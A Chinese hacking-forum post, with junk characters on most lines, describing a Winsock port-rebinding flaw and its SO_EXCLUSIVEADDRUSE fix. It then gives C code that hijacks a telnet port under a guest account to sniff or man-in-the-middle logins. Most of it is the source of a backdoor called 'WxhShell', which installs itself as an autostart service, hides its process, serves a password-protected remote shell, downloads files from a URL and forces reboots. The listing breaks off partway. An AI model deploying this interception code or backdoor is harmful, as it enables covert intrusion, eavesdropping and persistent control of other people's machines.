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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +arh/pd_I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); prS%lg>  
/Hk})o_  
  saddr.sin_family = AF_INET; Y{j~;G@Wl  
z@IG"D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g5 *E\T%8  
dY$nw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FYik}wH]  
>yn?@ve@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )2"g)9!  
*.w6 =}  
  这意味着什么?意味着可以进行如下的攻击: 1 M!4hM Q  
f 1SKOq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2|ee`"`  
^~l@ _r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xp:I(  
z<t2yh(DF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rV"3oM]Lo  
^[[@P(e>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !8|r$mN8  
bhRa?wuoY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :I?lT2+ea  
!2AD/dtt   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4S>#>(n7=  
Q3+%8zZI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ? XVE {N  
bh8GP]*E|  
  #include ]GRVU  
  #include @)Vb?|3  
  #include .&]3wB~  
  #include    x!S}Y"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p?Ux1S  
  int main() ]{i0?c  
  { .DwiIr'  
  WORD wVersionRequested; j# c@dze  
  DWORD ret; H{E(=S  
  WSADATA wsaData; tAjT-CXg  
  BOOL val; ![{/V,V]~  
  SOCKADDR_IN saddr; "(H%m9K  
  SOCKADDR_IN scaddr; Fi+ DG?zu  
  int err; c9H6\&  
  SOCKET s; 7C2Xy>d~  
  SOCKET sc; dh{py  
  int caddsize; Da! fwth  
  HANDLE mt; !|VtI$I>x  
  DWORD tid;   ~^Al#@  
  wVersionRequested = MAKEWORD( 2, 2 ); s$f9?(,.Ay  
  err = WSAStartup( wVersionRequested, &wsaData ); pT+OPOSR  
  if ( err != 0 ) { 4avkyFj!h  
  printf("error!WSAStartup failed!\n"); '9vsv\A&  
  return -1; H]V(qq{  
  } L1` ^M  
  saddr.sin_family = AF_INET; \g]rOYW  
   _{if"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ffB<qf)?G  
d/TFx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 56c3tgVF  
  saddr.sin_port = htons(23);  ]E :L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "6WJj3h N  
  { }n^}%GB  
  printf("error!socket failed!\n"); _,F\%}  
  return -1; @ajdO/?(Y  
  } b-`P-  
  val = TRUE; ;gaTSYVe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -1d$w`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ia9!ucN7DA  
  { ?o]NV  
  printf("error!setsockopt failed!\n"); c-7Zk!LfD  
  return -1; &2y9J2aA  
  } dEf5x_TGm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~nj+" d]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,{"K^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ):+^893)  
k|]l2zlT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }7%ol&<@  
  { YuoErP=P  
  ret=GetLastError(); M?gZKdj  
  printf("error!bind failed!\n"); $y<`Jy]+)~  
  return -1; o=5hG9dj  
  } 6>)KiigZ\  
  listen(s,2); &QH mo*  
  while(1) TgRG6?#^l  
  { DB jUHirK  
  caddsize = sizeof(scaddr); Q[`2? j?  
  //接受连接请求 ]=|iO~WN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `N7erM  
  if(sc!=INVALID_SOCKET) X2~KNw  
  { REX/:sB<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z __#P Q,n  
  if(mt==NULL) s!Id55R]  
  { 3!?QQT,!)  
  printf("Thread Creat Failed!\n"); h_Er$ZT64  
  break; >9g^-~X;v  
  } E/% F0\B  
  } z&qOu8Jh  
  CloseHandle(mt); Ra~:O\Z  
  } /3"S_KE1@+  
  closesocket(s); &7,/^ >">  
  WSACleanup(); f .h$jyp(  
  return 0; BNJG-b|g^  
  }   "1P2`Ep;  
  DWORD WINAPI ClientThread(LPVOID lpParam) _ -ec(w~/  
  { (d <pxx  
  SOCKET ss = (SOCKET)lpParam; -%VFC^'5  
  SOCKET sc; k]TJL9Q  
  unsigned char buf[4096]; (Zy=e?E,  
  SOCKADDR_IN saddr; hL;??h,!_  
  long num; 1mEW]z  
  DWORD val; i-k(/Y0  
  DWORD ret; 7` XECIh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 </fTn_{2s8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <PO-S\N  
  saddr.sin_family = AF_INET; 1-!|_<EW1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zlh\P`  
  saddr.sin_port = htons(23); a  ?wg~|g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BIvz55g  
  { Y(R],9h8  
  printf("error!socket failed!\n"); `lO/I+8  
  return -1; 127@ TN"  
  } QX-M'ur99  
  val = 100; wp/x|AV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P}PMRAek  
  { )fT0FLl|1  
  ret = GetLastError(); F<6{$YI  
  return -1; (ubK i[)  
  } wz'in  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B)-P# ,}  
  { R?*-ZI[>w  
  ret = GetLastError(); .9!&x0;  
  return -1; *EtC4sP  
  } Gg7ZSB 7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aUBu"P$J  
  { OBPiLCq  
  printf("error!socket connect failed!\n"); twTRw:.!f  
  closesocket(sc); 5bWy=Xk B  
  closesocket(ss); {\= NZ\  
  return -1; r2Q) Q  
  } PzLV}   
  while(1) -1!s8G  
  { JAL"On#c#0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ly/5"&HD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IZ_ B $mo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9l7 youZ]  
  num = recv(ss,buf,4096,0); Q[Tbdc%1EG  
  if(num>0) Nk>6:Ho{G  
  send(sc,buf,num,0); &cx]7:;  
  else if(num==0) w?c~be$  
  break; 4_Rv}Y d  
  num = recv(sc,buf,4096,0); k1WyV_3  
  if(num>0) ]0p*EB=C*  
  send(ss,buf,num,0); 23UXOY0BW  
  else if(num==0) -| t|w:&  
  break; v-Uz,3  
  } bNz2Uo!0K  
  closesocket(ss); _ID =]NJ_  
  closesocket(sc); 1]jUiX=T  
  return 0 ; z;i4F.p  
  } x\(yjNZH  
TGPHjSZ1  
\cq.M/p  
========================================================== q/YO5>s15  
.rbKvd?-}  
下边附上一个代码,,WXhSHELL =~QC)y_  
hB*3Py27L  
========================================================== }Qvoms<k  
wsCT9&p  
#include "stdafx.h" ok9G9|HA  
%6<2~  
#include <stdio.h>  *FoPs  
#include <string.h> A}n5dg0u  
#include <windows.h> AwGDy +  
#include <winsock2.h> j: B,K.:  
#include <winsvc.h> 2HvzMo-4  
#include <urlmon.h> 1^=[k  
4=n%<U`Z/  
#pragma comment (lib, "Ws2_32.lib") \"@`Rf   
#pragma comment (lib, "urlmon.lib") >za=v  
L`Q9-#Y  
#define MAX_USER   100 // 最大客户端连接数 04<T2)QgK  
#define BUF_SOCK   200 // sock buffer D61e  
#define KEY_BUFF   255 // 输入 buffer }=."X8zOI8  
6NqLo^ "g  
#define REBOOT     0   // 重启 GUK3`}!%  
#define SHUTDOWN   1   // 关机 4?&CK  
Bc y$"F|r  
#define DEF_PORT   5000 // 监听端口 gIXc-=Ut  
A,#hYi=-,  
#define REG_LEN     16   // 注册表键长度 S1n 'r}z8  
#define SVC_LEN     80   // NT服务名长度 Y~bGgd]T  
su]ywVoRT  
// 从dll定义API rO{"jJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j~Xn\~*n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4&LoE~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x@>^c:-f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O/R>&8R$  
y0XI?Wr  
// wxhshell配置信息 }tZA7),L  
struct WSCFG { >pl*2M&  
  int ws_port;         // 监听端口 oE4hGt5x{  
  char ws_passstr[REG_LEN]; // 口令 6hm6h7$F1  
  int ws_autoins;       // 安装标记, 1=yes 0=no _A/ ]m4  
  char ws_regname[REG_LEN]; // 注册表键名 k-vxKrjZ/  
  char ws_svcname[REG_LEN]; // 服务名 ,s1n! @9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QCWk[Gx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cM'5m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =8fZG t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @'!61'}f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OG}D;Ew  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QWGFXy,=1  
w]0jq U6  
}; gBG.3\[  
S\UM0G}v  
// default Wxhshell configuration k||DcwO  
struct WSCFG wscfg={DEF_PORT, +#<"o#gZ  
    "xuhuanlingzhe", RsDI7v  
    1, )Z 3fytY  
    "Wxhshell", Qmh*Gh? v  
    "Wxhshell", wbId}!  
            "WxhShell Service", Cx/duod p  
    "Wrsky Windows CmdShell Service", ^5~[G%G4  
    "Please Input Your Password: ", S.OGLLprp  
  1, $T0|zPK5  
  "http://www.wrsky.com/wxhshell.exe", $rC`)"t  
  "Wxhshell.exe" v)2@;Q  
    }; bqg\V8h  
{#y HL  
// 消息定义模块 M O/-?@w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r4qFEFV3%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yMa5?]J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3?uP$(l  
char *msg_ws_ext="\n\rExit."; , 0rC_)&B  
char *msg_ws_end="\n\rQuit."; :+,qvu!M7  
char *msg_ws_boot="\n\rReboot..."; J=U7m@))Y#  
char *msg_ws_poff="\n\rShutdown..."; K`2a{`  
char *msg_ws_down="\n\rSave to "; ?Xo9,4V1  
0,;FiOp  
char *msg_ws_err="\n\rErr!"; jr:LLn#}  
char *msg_ws_ok="\n\rOK!"; k\}qCDs  
;mb 6i_  
char ExeFile[MAX_PATH]; afc?a-~Z  
int nUser = 0; 7_/.a9$G  
HANDLE handles[MAX_USER]; Z{n7z$s*  
int OsIsNt; /bylA`IMW  
`"CF/X^  
SERVICE_STATUS       serviceStatus; 3-8Vw$u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {UYqRfgbZ  
Dx[t?-  
// 函数声明 {ersXQ:  
int Install(void); q+o(`N'~G  
int Uninstall(void); MU&5&)m  
int DownloadFile(char *sURL, SOCKET wsh); _H8)O2mJ  
int Boot(int flag); +o/;bm*U<K  
void HideProc(void); s}9aZ  
int GetOsVer(void); Aq|LeH  
int Wxhshell(SOCKET wsl); ?t} [Wi}7  
void TalkWithClient(void *cs); ]yVB66l  
int CmdShell(SOCKET sock); XW Y0WDh:  
int StartFromService(void); m x,X!}  
int StartWxhshell(LPSTR lpCmdLine); .[Sv|;x"E  
*<#&ne 8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )-a_,3x%j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C>;yW7*g"  
r%'2a+}D  
// 数据结构和表定义 &:jE+l  
SERVICE_TABLE_ENTRY DispatchTable[] = nw5#/5xw  
{ oaBfq8,;  
{wscfg.ws_svcname, NTServiceMain}, 8a)EL*LH`  
{NULL, NULL}  "rjJ"u 1  
}; -RH ?FJ  
=C\S6bF%  
// 自我安装 \^-3)*r  
int Install(void) ?\#4`9  
{ 4'rk3nT8  
  char svExeFile[MAX_PATH]; Hab9~v ]  
  HKEY key; >uJrq""+  
  strcpy(svExeFile,ExeFile); c*1x*'j.  
?I/,r2ODLh  
// 如果是win9x系统,修改注册表设为自启动 SKfv.9  
if(!OsIsNt) { iKS9Xss8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6OTxtk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #lLL5ji  
  RegCloseKey(key);  BW\R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LL6f40hC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); esu6iU@  
  RegCloseKey(key); kb7\qH!n  
  return 0; KuI>:i;  
    } >PGm}s_  
  } |_=jXf\TL  
} zPkg3H  
else { W'0wTZG  
oC[wYUDg  
// 如果是NT以上系统,安装为系统服务 *j*jA/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q-8  GD7  
if (schSCManager!=0) Y]gt86  
{ 9wb$_j]F`#  
  SC_HANDLE schService = CreateService @g=A\2  
  ( ?<LG(WY  
  schSCManager, dna f>G3  
  wscfg.ws_svcname, z!L0j +  
  wscfg.ws_svcdisp, !7 ^He3  
  SERVICE_ALL_ACCESS, ;5%&q6&a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UZAWh R  
  SERVICE_AUTO_START, Dk"M8_-_  
  SERVICE_ERROR_NORMAL, 1[Mr2@  
  svExeFile, eO9nn9lql  
  NULL, l9L;Tjj  
  NULL, 1VZ>*Tl  
  NULL, !eTS PM  
  NULL, +`4}bc ,G  
  NULL #U_u~7?H$  
  ); z~Pmh%b  
  if (schService!=0) ``E;!r="v  
  { F'~/  
  CloseServiceHandle(schService); i ('EBO  
  CloseServiceHandle(schSCManager); =4%C?(\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X%F9.<4  
  strcat(svExeFile,wscfg.ws_svcname); RU >vnDaC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {oJa8~P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4 ?c1c  
  RegCloseKey(key); E8dp  
  return 0; 8|tm`r`*Az  
    } JWn{nJ$]  
  } ^#Y6 E  
  CloseServiceHandle(schSCManager); M!jW=^\  
} )Ud S (Bj  
} qlxW@|  
P3 Evv]sB@  
return 1; Ni)#tz_9  
} Zn} )&Xt  
=!c+|X`  
// 自我卸载 J-ZM1HoB  
int Uninstall(void) ~^C7(g )  
{ cU6#^PFu  
  HKEY key; E0h p%:  
KN`z68c4L  
if(!OsIsNt) { Q+Fw =Xw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ppD ~xg]  
  RegDeleteValue(key,wscfg.ws_regname); ,Df36-74v5  
  RegCloseKey(key); >V$#Um?AXj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S p )}  
  RegDeleteValue(key,wscfg.ws_regname); Iq=B]oE  
  RegCloseKey(key); 8WGM%n#q  
  return 0; -U $pW(~  
  } :&-}S>pC  
} Om"3Q/&  
} IjRmpVcwN  
else { Ny'v/+nQ  
c+{4C3z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *!/#39  
if (schSCManager!=0) M(E_5@?3  
{ *Kkw,qp/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'nS3o.}  
  if (schService!=0) 6V?RES;X  
  { XOwMT,=Z)  
  if(DeleteService(schService)!=0) { *4:/<wI!  
  CloseServiceHandle(schService); xwxjj  
  CloseServiceHandle(schSCManager); z{jAt6@7  
  return 0; D5b _m|7%  
  } ]."c4S_)|  
  CloseServiceHandle(schService); NKKO A  
  } kw~H%-,]  
  CloseServiceHandle(schSCManager); $Ig,cTR.b  
} S: uEK  
} SkA'+(  
XXcf!~uO  
return 1; EXcjF  
} xi\RUAW  
wIj2 IAD  
// 从指定url下载文件 E <SE Fn  
int DownloadFile(char *sURL, SOCKET wsh) /xbZC{R  
{ Z+W&C@Uw  
  HRESULT hr; ^ks^9*'|j  
char seps[]= "/"; =ol][)Bd  
char *token; F s\P/YX  
char *file; cB}2(`z9 B  
char myURL[MAX_PATH]; vxT"BvN  
char myFILE[MAX_PATH]; DOIWhd5:  
-\$cGIL  
strcpy(myURL,sURL); RbM~E~$  
  token=strtok(myURL,seps); $)]FCuv  
  while(token!=NULL) kw:D~E (  
  { j/pQSlV  
    file=token; Le JlTWotC  
  token=strtok(NULL,seps); f{c[_OR  
  } kte.E%.PE  
mVAm^JK  
GetCurrentDirectory(MAX_PATH,myFILE); J\$l3i/I  
strcat(myFILE, "\\"); \X.=3lc&  
strcat(myFILE, file); 'sBXH EZA]  
  send(wsh,myFILE,strlen(myFILE),0); UjOhaj "h  
send(wsh,"...",3,0); |I5?5 J\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *m@w^In^  
  if(hr==S_OK) 786_QV  
return 0; }t3FAy(%  
else WbWW=(N'd  
return 1; MxEAs}MDv  
%=8(B.I!  
} 2\\3<  
aZ>\*1   
// 系统电源模块 /B\-DP3K  
int Boot(int flag) tB=D&L3  
{ N pND/  
  HANDLE hToken; O)JUY *&I5  
  TOKEN_PRIVILEGES tkp; EJ ~k Z3  
Q9xx/tUW  
  if(OsIsNt) { )$h9Y   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xM//]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]N"F?3J 8  
    tkp.PrivilegeCount = 1; X7d.Ie  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fP1OH&Ar  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sVdK^|j  
if(flag==REBOOT) { ('6g)@=\U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &qP-x98E?  
  return 0; NVqC|uEAF  
} akW3\(W}  
else { 6Su@a%=j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "5JNXo,H  
  return 0; [H%?jTQ  
} LsQ8sFP_"  
  } * m&: Yje  
  else { 3|+f si)x  
if(flag==REBOOT) { H..ZvGu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Zf!KQw  
  return 0; J-\?,4mcP  
} RL Zf{Q>  
else { lJzy)ne  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &:CjUaP@  
  return 0; k-pEBh OH  
} u 1{ym_  
} WmjzKCl  
rYFau1  
return 1; <h_P+ nz  
} :sVHY2x  
'cF%4F  
// win9x进程隐藏模块 zL},`:(.  
void HideProc(void) -?B9>6 h "  
{ JD{MdhhV  
{ogZT7w}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dp*$GQ  
  if ( hKernel != NULL ) 1: xnD  
  { %FyygTb;S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !ObE{2Enf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zYG,x*IH  
    FreeLibrary(hKernel); yb4tJu$  
  } ZutB_uW  
loUl$X.u  
return; fEw=I7{Y  
} ^'[@M'`~L  
R,+/A8[j  
// 获取操作系统版本 YZH#5]o8  
int GetOsVer(void) `<}V !Lo  
{ T6I%FXm}  
  OSVERSIONINFO winfo; 4,U}Am1Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /Fo/_=FE2  
  GetVersionEx(&winfo); C. Ja;RFq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O GFE*  
  return 1; ~` \9Q  
  else xe6_RO%  
  return 0; %+xwk=%*  
} r[v-?W'  
+~4bB$6*4)  
// 客户端句柄模块 u.kYp  
int Wxhshell(SOCKET wsl) G?ugMl}  
{ &oeN#5Es8C  
  SOCKET wsh; j|&DP-@g/  
  struct sockaddr_in client; Q-`{PJ(p  
  DWORD myID; YXzZ-28,<  
(}C^_q:7d  
  while(nUser<MAX_USER) $,;S\JmWP  
{ '>e79f-O)  
  int nSize=sizeof(client); P*SCHe'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (H8C\%g:  
  if(wsh==INVALID_SOCKET) return 1; >nhE%:X>  
#$t}T@t>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nQ642i%RQ  
if(handles[nUser]==0) !)%>AH'  
  closesocket(wsh); d=?Mj]  
else 3Rd`Ysp  
  nUser++; *f TG8h  
  } %K^gUd>,R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F:;!) H*  
#H;hRl  
  return 0; W{A #]r l  
} w<Yv`$-`  
CzSZ>E$%U  
// 关闭 socket fK'.wX9  
void CloseIt(SOCKET wsh) x[vBK8  
{ ~ThVap[*  
closesocket(wsh); Q=(@K4  
nUser--; o9ctJf=qn  
ExitThread(0); %GX uuE}mX  
} RVkU+7  
^`rpf\GX(  
// 客户端请求句柄 d@4rD}_Z  
void TalkWithClient(void *cs)  dd<:#c9  
{ CZyz;Jtk  
n5v'  
  SOCKET wsh=(SOCKET)cs; lMC{SfdH  
  char pwd[SVC_LEN]; cq,v1Y<  
  char cmd[KEY_BUFF]; 382*  
char chr[1]; F!gNt<fZ  
int i,j; Dn_"B0$lk  
eyT>wma0  
  while (nUser < MAX_USER) { PFS;/   
V06CCy8n  
if(wscfg.ws_passstr) { `ke3+%uj o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9c6czirwR^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); skIiJ'db  
  //ZeroMemory(pwd,KEY_BUFF); bo@,4xw  
      i=0; ~+N76BX  
  while(i<SVC_LEN) { *;hY.EuoFz  
V#0 dGP-Z  
  // 设置超时 U@6jOZ  
  fd_set FdRead; MzQ\rg_B7  
  struct timeval TimeOut; ~)q g  
  FD_ZERO(&FdRead); \ ]   
  FD_SET(wsh,&FdRead); 4M}|/?<Br  
  TimeOut.tv_sec=8; +VCo$o  
  TimeOut.tv_usec=0; r{\BbUnf)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uf)W-Er6~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J7BFk ?=  
ryxYcEM0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +T0op4  
  pwd=chr[0]; O' +"d%2'  
  if(chr[0]==0xd || chr[0]==0xa) { Q2/MnM  
  pwd=0; L[?nST18%  
  break; Kt W6AZJ  
  } keLR1qf  
  i++; 7]Al*)  
    } e74zR6  
B%tIwUE2  
  // 如果是非法用户,关闭 socket Vb@ 4(Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U4>O\sU  
} [o2w1R\H+x  
"h=6Q+Ze  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d^F|lc ]8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J["H[T*  
]^=|Zd-  
while(1) { qib 7Z]j  
6HoqEku/Q  
  ZeroMemory(cmd,KEY_BUFF); [X,A'Q  
AR%hf  
      // 自动支持客户端 telnet标准   "8N"Udu  
  j=0; TQP+>nS,  
  while(j<KEY_BUFF) { X ZS5B~E '  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8|O=/m^]  
  cmd[j]=chr[0]; 55.;+B5L *  
  if(chr[0]==0xa || chr[0]==0xd) { } h[>U  
  cmd[j]=0; CI`N8 f=v  
  break; s%~L4Wmcq  
  } RMoJz6 ^>  
  j++; y 'OlQ2U  
    } "EoDQT"0  
3VmI0gsm.>  
  // 下载文件 UVB/vqGg  
  if(strstr(cmd,"http://")) { 2-++i:, g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t|}O.u-&;~  
  if(DownloadFile(cmd,wsh)) aG%kmS&fv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5m4DS:&  
  else !(Krf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (;a B!(_  
  } [,=d7*b(l  
  else { _%Bz,C8  
No) m/17y  
    switch(cmd[0]) { Sp:l;SGd  
  WsR+Np@c  
  // 帮助 4qhWm"&CM  
  case '?': { 5[C~wvO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n`q2s'Pc  
    break; @mf({Q>  
  } 7+}JgUh  
  // 安装 fb .J$fX  
  case 'i': { f/}  
    if(Install()) dpwD8Q< U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !@G)$g=<  
    else {`% hgR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5IW8=$k~.)  
    break; 0DNU,u  
    } #^6^  
  // 卸载 e+'%!w"B  
  case 'r': { MIq"Wy|Zs  
    if(Uninstall()) 3HZ~.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~KX|QY.S  
    else 8eluO ?p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G"T\=cQz  
    break; uWjN2#&,  
    } fc@'9- pt  
  // 显示 wxhshell 所在路径 $X \va?(  
  case 'p': { ["y6b*;x  
    char svExeFile[MAX_PATH]; 9#7J:PfZ<  
    strcpy(svExeFile,"\n\r"); zB*euHIqZ  
      strcat(svExeFile,ExeFile); L@RIZu>ZW+  
        send(wsh,svExeFile,strlen(svExeFile),0); @o>EBZ7MS  
    break; 22 &'@C>  
    } .2.qR,"j  
  // 重启 u-JpI-8h  
  case 'b': { \M{[f=6llh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @w\I qr  
    if(Boot(REBOOT)) 3e%nA8?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJeiY#us  
    else { gAt~?HvW6  
    closesocket(wsh); h}Rx_d  
    ExitThread(0); i?>tgmu.  
    } 0:"2MSf>  
    break; yto[8;)_  
    } [:h5}  
  // 关机 ;HNq>/{  
  case 'd': { <8!  Tq  
